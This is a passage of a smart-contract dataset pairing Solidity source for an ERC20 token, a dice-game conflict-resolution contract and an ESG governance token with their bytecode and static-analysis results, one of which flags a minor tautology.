* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract GOTOR is Context, ERC20, ERC20Detailed {
constructor (address owner, string memory name, string memory symbol) public ERC20Detailed(name, symbol, 18) {
_mint(owner, 1000000 * (10 ** uint256(decimals())));
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101b757806323b872dd146101e2578063313ce5671461027557806339509351146102a657806370a082311461031957806395d89b411461037e578063a457c2d71461040e578063a9059cbb14610481578063dd62ed3e146104f4575b600080fd5b3480156100c057600080fd5b506100c9610579565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061019d6004803603604081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061b565b604051808215151515815260200191505060405180910390f35b3480156101c357600080fd5b506101cc610639565b6040518082815260200191505060405180910390f35b3480156101ee57600080fd5b5061025b6004803603606081101561020557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610643565b604051808215151515815260200191505060405180910390f35b34801561028157600080fd5b5061028a610760565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b257600080fd5b506102ff600480360360408110156102c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610777565b604051808215151515815260200191505060405180910390f35b34801561032557600080fd5b506103686004803603602081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061082a565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610872565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b506104676004803603604081101561043157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b604051808215151515815260200191505060405180910390f35b34801561048d57600080fd5b506104da600480360360408110156104a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b34801561050057600080fd5b506105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106115780601f106105e657610100808354040283529160200191610611565b820191906000526020600020905b8154815290600101906020018083116105f457829003601f168201915b5050505050905090565b600061062f610628610aca565b8484610ad2565b6001905092915050565b6000600254905090565b6000610650848484610d53565b6107558461065c610aca565b61075085606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610706610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610820610784610aca565b8461081b8560016000610795610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b610ad2565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090a5780601f106108df5761010080835404028352916020019161090a565b820191906000526020600020905b8154815290600101906020018083116108ed57829003601f168201915b5050505050905090565b6000610a1b610921610aca565b84610a1685606060405190810160405280602581526020017f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7781526020017f207a65726f0000000000000000000000000000000000000000000000000000008152506001600061098f610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b6001905092915050565b6000610a39610a32610aca565b8484610d53565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ee9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610f9881606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e636500000000000000000000000000000000000000000000000000008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582901515611186576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561114b578082015181840152602081019050611130565b50505050905090810190601f1680156111785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110151515611219576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea165627a7a723058204904bc4dba2c2a7e28e1f1b4dcd30fbd2f555cb69bd26863d018328eb2a9e0be0029
|
{"success": true, "error": null, "results": {}}
| 3,348 |
0xddde2d9a455a038ea1f54ba9553dd093c75cf299
|
pragma solidity ^0.4.24;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) external pure returns(uint);
function maxBalance() external pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) external pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
external
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
}
contract ConflictResolution is ConflictResolutionInterface {
uint public constant DICE_RANGE = 100;
uint public constant HOUSE_EDGE = 150;
uint public constant HOUSE_EDGE_DIVISOR = 10000;
uint public constant SERVER_TIMEOUT = 6 hours;
uint public constant PLAYER_TIMEOUT = 6 hours;
uint8 public constant DICE_LOWER = 1; ///< @dev dice game lower number wins
uint8 public constant DICE_HIGHER = 2; ///< @dev dice game higher number wins
uint public constant MAX_BET_VALUE = 2e16; /// max 0.02 ether bet
uint public constant MIN_BET_VALUE = 1e13; /// min 0.00001 ether bet
int public constant NOT_ENDED_FINE = 1e15; /// 0.001 ether
int public constant MAX_BALANCE = int(MAX_BET_VALUE) * 100 * 5;
modifier onlyValidBet(uint8 _gameType, uint _betNum, uint _betValue) {
require(isValidBet(_gameType, _betNum, _betValue));
_;
}
modifier onlyValidBalance(int _balance, uint _gameStake) {
// safe to cast gameStake as range is fixed
require(-int(_gameStake) <= _balance && _balance <= MAX_BALANCE);
_;
}
/**
* @dev Check if bet is valid.
* @param _gameType Game type.
* @param _betNum Number of bet.
* @param _betValue Value of bet.
* @return True if bet is valid false otherwise.
*/
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) public pure returns(bool) {
bool validValue = MIN_BET_VALUE <= _betValue && _betValue <= MAX_BET_VALUE;
bool validGame = false;
if (_gameType == DICE_LOWER) {
validGame = _betNum > 0 && _betNum < DICE_RANGE - 1;
} else if (_gameType == DICE_HIGHER) {
validGame = _betNum > 0 && _betNum < DICE_RANGE - 1;
} else {
validGame = false;
}
return validValue && validGame;
}
/**
* @return Max balance.
*/
function maxBalance() public pure returns(int) {
return MAX_BALANCE;
}
/**
* Calculate minimum needed house stake.
*/
function minHouseStake(uint activeGames) public pure returns(uint) {
return MathUtil.min(activeGames, 1) * MAX_BET_VALUE * 400;
}
/**
* @dev Calculates game result and returns new balance.
* @param _gameType Type of game.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _serverSeed Server's seed of current round.
* @param _playerSeed Player's seed of current round.
* @return New game session balance.
*/
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
public
view
onlyValidBet(_gameType, _betNum, _betValue)
onlyValidBalance(_balance, _stake)
returns(int)
{
assert(_serverSeed != 0 && _playerSeed != 0);
int newBalance = processBet(_gameType, _betNum, _betValue, _balance, _serverSeed, _playerSeed);
// do not allow balance below player stake
int stake = int(_stake); // safe to cast as stake range is fixed
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if player does not respond. Only possible after a time period.
* to give the player a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Bet value.
* @param _balance Current balance.
* @param _stake Player stake.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function serverForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + SERVER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue)
|| (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
// following casts and calculations are safe as ranges are fixed
// assume player has lost
int newBalance = _balance - int(_betValue);
// penalize player as he didn't end game
newBalance -= NOT_ENDED_FINE;
// do not allow balance below player stake
int stake = int(_stake); // safe to cast as stake range is fixed
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if server does not respond. Only possible after a time period
* to give the server a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + PLAYER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue) ||
(_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
int profit = 0;
if (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0) {
// player cancelled game without playing
profit = 0;
} else {
profit = calculateProfit(_gameType, _betNum, _betValue); // safe to cast as ranges are limited
}
// penalize server as it didn't end game
profit += NOT_ENDED_FINE;
return _balance + profit;
}
/**
* @dev Calculate new balance after executing bet.
* @param _gameType game type.
* @param _betNum Bet Number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _serverSeed Server's seed
* @param _playerSeed Player's seed
* return new balance.
*/
function processBet(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
bytes32 _serverSeed,
bytes32 _playerSeed
)
private
pure
returns (int)
{
bool won = hasPlayerWon(_gameType, _betNum, _serverSeed, _playerSeed);
if (!won) {
return _balance - int(_betValue); // safe to cast as ranges are fixed
} else {
int profit = calculateProfit(_gameType, _betNum, _betValue);
return _balance + profit;
}
}
/**
* @dev Calculate player profit.
* @param _gameType type of game.
* @param _betNum bet numbe.
* @param _betValue bet value.
* return profit of player
*/
function calculateProfit(uint8 _gameType, uint _betNum, uint _betValue) private pure returns(int) {
uint betValueInGwei = _betValue / 1e9; // convert to gwei
int res = 0;
if (_gameType == DICE_LOWER) {
res = calculateProfitGameType1(_betNum, betValueInGwei);
} else if (_gameType == DICE_HIGHER) {
res = calculateProfitGameType2(_betNum, betValueInGwei);
} else {
assert(false);
}
return res * 1e9; // convert to wei
}
/**
* Calculate player profit from total won.
* @param _totalWon player winning in gwei.
* @return player profit in gwei.
*/
function calcProfitFromTotalWon(uint _totalWon, uint _betValue) private pure returns(int) {
// safe to multiply as _totalWon range is fixed.
uint houseEdgeValue = _totalWon * HOUSE_EDGE / HOUSE_EDGE_DIVISOR;
// safe to cast as all value ranges are fixed
return int(_totalWon) - int(houseEdgeValue) - int(_betValue);
}
/**
* @dev Calculate player profit if player has won for game type 1 (dice lower wins).
* @param _betNum Bet number of player.
* @param _betValue Value of bet in gwei.
* @return Players' profit.
*/
function calculateProfitGameType1(uint _betNum, uint _betValue) private pure returns(int) {
assert(_betNum > 0 && _betNum < DICE_RANGE);
// safe as ranges are fixed
uint totalWon = _betValue * DICE_RANGE / _betNum;
return calcProfitFromTotalWon(totalWon, _betValue);
}
/**
* @dev Calculate player profit if player has won for game type 2 (dice lower wins).
* @param _betNum Bet number of player.
* @param _betValue Value of bet in gwei.
* @return Players' profit.
*/
function calculateProfitGameType2(uint _betNum, uint _betValue) private pure returns(int) {
assert(_betNum >= 0 && _betNum < DICE_RANGE - 1);
// safe as ranges are fixed
uint totalWon = _betValue * DICE_RANGE / (DICE_RANGE - _betNum - 1);
return calcProfitFromTotalWon(totalWon, _betValue);
}
/**
* @dev Check if player hash won or lost.
* @return true if player has won.
*/
function hasPlayerWon(
uint8 _gameType,
uint _betNum,
bytes32 _serverSeed,
bytes32 _playerSeed
)
private
pure
returns(bool)
{
bytes32 combinedHash = keccak256(abi.encodePacked(_serverSeed, _playerSeed));
uint randNum = uint(combinedHash);
if (_gameType == 1) {
return calculateWinnerGameType1(randNum, _betNum);
} else if (_gameType == 2) {
return calculateWinnerGameType2(randNum, _betNum);
} else {
assert(false);
}
}
/**
* @dev Calculate winner of game type 1 (roll lower).
* @param _randomNum 256 bit random number.
* @param _betNum Bet number.
* @return True if player has won false if he lost.
*/
function calculateWinnerGameType1(uint _randomNum, uint _betNum) private pure returns(bool) {
assert(_betNum > 0 && _betNum < DICE_RANGE);
uint resultNum = _randomNum % DICE_RANGE; // bias is negligible
return resultNum < _betNum;
}
/**
* @dev Calculate winner of game type 2 (roll higher).
* @param _randomNum 256 bit random number.
* @param _betNum Bet number.
* @return True if player has won false if he lost.
*/
function calculateWinnerGameType2(uint _randomNum, uint _betNum) private pure returns(bool) {
assert(_betNum >= 0 && _betNum < DICE_RANGE - 1);
uint resultNum = _randomNum % DICE_RANGE; // bias is negligible
return resultNum > _betNum;
}
}
library MathUtil {
/**
* @dev Returns the absolute value of _val.
* @param _val value
* @return The absolute value of _val.
*/
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
/**
* @dev Calculate maximum.
*/
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
/**
* @dev Calculate minimum.
*/
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166309eecdd781146100f55780632a0763ce1461012a578063353086e2146101695780635394772a1461017e578063596a27351461019357806373ad468a146101a857806373c4726b146101bd578063834d42c6146101d55780638daaaa2f146101ff5780638eb98150146102145780639bdce04614610229578063a0dfc61f14610254578063a99a3f0314610269578063c1e31eab14610269578063ca7140ad1461027e578063def92c69146102a8578063e9b32a3f146102bd575b600080fd5b34801561010157600080fd5b5061011660ff600435166024356044356102d2565b604080519115158252519081900360200190f35b34801561013657600080fd5b5061015760ff6004351660243560443560643560843560a43560c435610356565b60408051918252519081900360200190f35b34801561017557600080fd5b506101576103ea565b34801561018a57600080fd5b506101576103f5565b34801561019f57600080fd5b506101576103ff565b3480156101b457600080fd5b50610157610404565b3480156101c957600080fd5b50610157600435610410565b3480156101e157600080fd5b5061015760ff6004351660243560443560643560843560a435610431565b34801561020b57600080fd5b506101576104e2565b34801561022057600080fd5b506101576104e7565b34801561023557600080fd5b5061023e6104f2565b6040805160ff9092168252519081900360200190f35b34801561026057600080fd5b5061023e6104f7565b34801561027557600080fd5b506101576104fc565b34801561028a57600080fd5b5061015760ff6004351660243560443560643560843560a435610502565b3480156102b457600080fd5b506101576105d9565b3480156102c957600080fd5b506101576105e5565b6000806000836509184e72a000111580156102f4575066470de4df8200008411155b91506000905060ff86166001141561031d576000851180156103165750606385105b9050610342565b60ff86166002141561033e5760008511801561031657505060638410610342565b5060005b81801561034c5750805b9695505050505050565b60008060008989896103698383836102d2565b151561037457600080fd5b89898181600003131580156103915750678ac7230489e800008213155b151561039c57600080fd5b89158015906103aa57508815155b15156103b257fe5b6103c08f8f8f8f8e8e6105eb565b96508a9550856000038712156103d7578560000396505b50949d9c50505050505050505050505050565b66470de4df82000081565b6509184e72a00081565b606481565b678ac7230489e8000090565b600066470de4df82000061042583600161062e565b02610190029050919050565b600080600085858181600003131580156104535750678ac7230489e800008213155b151561045e57600080fd5b426154608701111561046f57600080fd5b61047a8b8b8b6102d2565b806104a3575060ff8b1615801561048f575089155b8015610499575088155b80156104a3575087155b15156104ae57600080fd5b66038d7ea4c67fff1989890301935086925060008390038412156104d3578260000393505b50919998505050505050505050565b609681565b66038d7ea4c6800081565b600281565b600181565b61546081565b60008084848181600003131580156105225750678ac7230489e800008213155b151561052d57600080fd5b426154608601111561053e57600080fd5b6105498a8a8a6102d2565b80610572575060ff8a1615801561055e575088155b8015610568575087155b8015610572575086155b151561057d57600080fd5b6000925060ff8a16158015610590575088155b801561059a575087155b80156105a4575086155b156105b257600092506105c0565b6105bd8a8a8a610647565b92505b50509390930166038d7ea4c68000019695505050505050565b678ac7230489e8000081565b61271081565b60008060006105fc89898787610695565b915081151561060f578686039250610622565b61061a898989610647565b905080860192505b50509695505050505050565b60008183111561063e5781610640565b825b9392505050565b6000633b9aca00820481600160ff8716141561066e57610667858361075b565b9050610686565b60ff861660021415610684576106678583610799565bfe5b633b9aca000295945050505050565b604080516020808201859052818301849052825180830384018152606090920192839052815160009384938493909282918401908083835b602083106106ec5780518252601f1990920191602091820191016106cd565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912094508493505050600160ff89161415905061073b5761073481876107c9565b9250610751565b8660ff16600214156106845761073481876107ef565b5050949350505050565b60008060008411801561076e5750606484105b151561077657fe5b836064840281151561078457fe5b0490506107918184610816565b949350505050565b600080600084101580156107ad5750606384105b15156107b557fe5b600184606403036064840281151561078457fe5b6000806000831180156107dc5750606483105b15156107e457fe5b505060649091061090565b600080600083101580156108035750606383105b151561080b57fe5b505060649091061190565b612710609683020490910303905600a165627a7a72305820cfa535f1792ce5b976528fd681730c87d74b657a9bf2d510adfbfbcde48a52450029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,349 |
0x20cd2e7ec8f5d8b337fe46a4f565ccef1561b9a9
|
/**
*Submitted for verification at Etherscan.io on 2022-01-21
*/
pragma solidity ^0.5.16;
contract ESG {
/// @notice EIP-20 token name for this token
string public constant name = "ESG";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "ESG";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 49000000e18; // 49 million ESG in Ethereum
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new ESG token
* @param account The initial account to grant all the tokens
*/
constructor (address account) public{
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) {
amount = uint96(0xffffffffffffffffffffffff);
} else {
amount = safe96(rawAmount, "ESG::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
